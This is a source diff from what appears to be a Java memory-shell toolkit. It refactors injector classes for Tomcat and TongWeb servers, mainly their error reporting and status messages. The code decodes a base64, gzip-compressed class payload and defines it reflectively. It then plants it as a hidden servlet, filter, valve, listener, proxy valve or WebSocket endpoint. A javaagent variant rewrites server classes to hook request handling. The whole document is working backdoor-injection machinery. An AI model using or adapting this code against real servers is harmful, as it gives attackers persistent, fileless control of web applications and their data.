import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -20,17 +21,45 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
|
||||
private Object rawValve;
|
||||
private Object proxyValve;
|
||||
private String msg = "";
|
||||
|
||||
public TomcatProxyValveInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
||||
@@ -94,15 +123,17 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -122,7 +153,11 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
}
|
||||
Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve));
|
||||
setFieldValue(pipeline, fieldName, proxyValve);
|
||||
System.out.println("proxyValve inject successful");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -170,7 +205,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -210,4 +245,19 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+71
-19
@@ -3,11 +3,15 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -16,17 +20,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class TomcatServletInjector {
|
||||
|
||||
public TomcatServletInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object servlet = getShell(context);
|
||||
inject(context, servlet);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -40,6 +34,45 @@ public class TomcatServletInjector {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public TomcatServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -68,24 +101,24 @@ public class TomcatServletInjector {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
if (invokeMethod(context, "findServletMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||||
System.out.println("servlet already injected");
|
||||
return;
|
||||
}
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
@@ -104,7 +137,11 @@ public class TomcatServletInjector {
|
||||
invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false});
|
||||
}
|
||||
support56Inject(context, wrapper);
|
||||
System.out.println("servlet inject success");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
private void support56Inject(Object context, Object wrapper) throws Exception {
|
||||
@@ -237,4 +274,19 @@ public class TomcatServletInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+72
-38
@@ -3,34 +3,18 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Date: 2022/11/01
|
||||
* Author: pen4uin
|
||||
* Description: Tomcat Valve 注入器
|
||||
* Tested version:
|
||||
* jdk v1.8.0_275
|
||||
* tomcat v8.5.83, v9.0.67
|
||||
*
|
||||
* @author ReaJason
|
||||
* @author pen4uin, ReaJason
|
||||
*/
|
||||
public class TomcatValveInjector {
|
||||
|
||||
public TomcatValveInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -40,6 +24,45 @@ public class TomcatValveInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public TomcatValveInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -62,42 +85,38 @@ public class TomcatValveInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object valve) throws Exception {
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||
if (isInjected(pipeline)) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object v : valvesList) {
|
||||
if (v.getClass().getName().contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
System.out.println("valve injected successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object pipeline) throws Exception {
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
@@ -144,7 +163,7 @@ public class TomcatValveInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -172,4 +191,19 @@ public class TomcatValveInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+69
-20
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -18,17 +19,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class TomcatWebSocketInjector {
|
||||
|
||||
public TomcatWebSocketInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object obj = getShell(context);
|
||||
inject(obj, context);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -42,6 +33,44 @@ public class TomcatWebSocketInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public TomcatWebSocketInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
@@ -73,21 +102,23 @@ public class TomcatWebSocketInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
private void inject(Object obj, Object context) throws Exception {
|
||||
private void inject(Object context, Object obj) throws Exception {
|
||||
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
||||
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||||
if (container == null) {
|
||||
@@ -95,11 +126,10 @@ public class TomcatWebSocketInjector {
|
||||
}
|
||||
|
||||
if (container == null) {
|
||||
return;
|
||||
throw new RuntimeException("container is null");
|
||||
}
|
||||
|
||||
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||||
System.out.println("websocket at " + getUrlPattern() + " already exists");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -121,7 +151,11 @@ public class TomcatWebSocketInjector {
|
||||
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||
System.out.println("websocket at " + getUrlPattern() + " inject successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -197,7 +231,22 @@ public class TomcatWebSocketInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
+1
-1
@@ -45,7 +45,6 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
|
||||
for (String targetClass : TARGET_CLASSES) {
|
||||
if (targetClass.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at " + name + ".invoke");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -68,6 +67,7 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
|
||||
+1
-1
@@ -45,7 +45,6 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
|
||||
for (String targetClass : TARGET_CLASSES) {
|
||||
if (targetClass.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at " + name + ".doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -68,6 +67,7 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
|
||||
+64
-15
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -10,14 +11,14 @@ import java.util.Collection;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class TongWebFilterInjector {
|
||||
Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName());
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -32,15 +33,42 @@ public class TongWebFilterInjector {
|
||||
}
|
||||
|
||||
public TongWebFilterInjector() {
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
Set<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -86,21 +114,22 @@ public class TongWebFilterInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
logger.warning("filter already injected");
|
||||
return;
|
||||
}
|
||||
String filterClassName = getClassName();
|
||||
@@ -137,7 +166,11 @@ public class TongWebFilterInjector {
|
||||
Object filterConfig = constructor.newInstance(context, filterDef);
|
||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(filterClassName, filterConfig);
|
||||
logger.info("filter inject success");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -212,6 +245,22 @@ public class TongWebFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+67
-16
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class TongWebListenerInjector {
|
||||
|
||||
public TongWebListenerInjector() {
|
||||
try {
|
||||
Set<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -33,6 +24,45 @@ public class TongWebListenerInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public TongWebListenerInjector() {
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -64,15 +94,17 @@ public class TongWebListenerInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
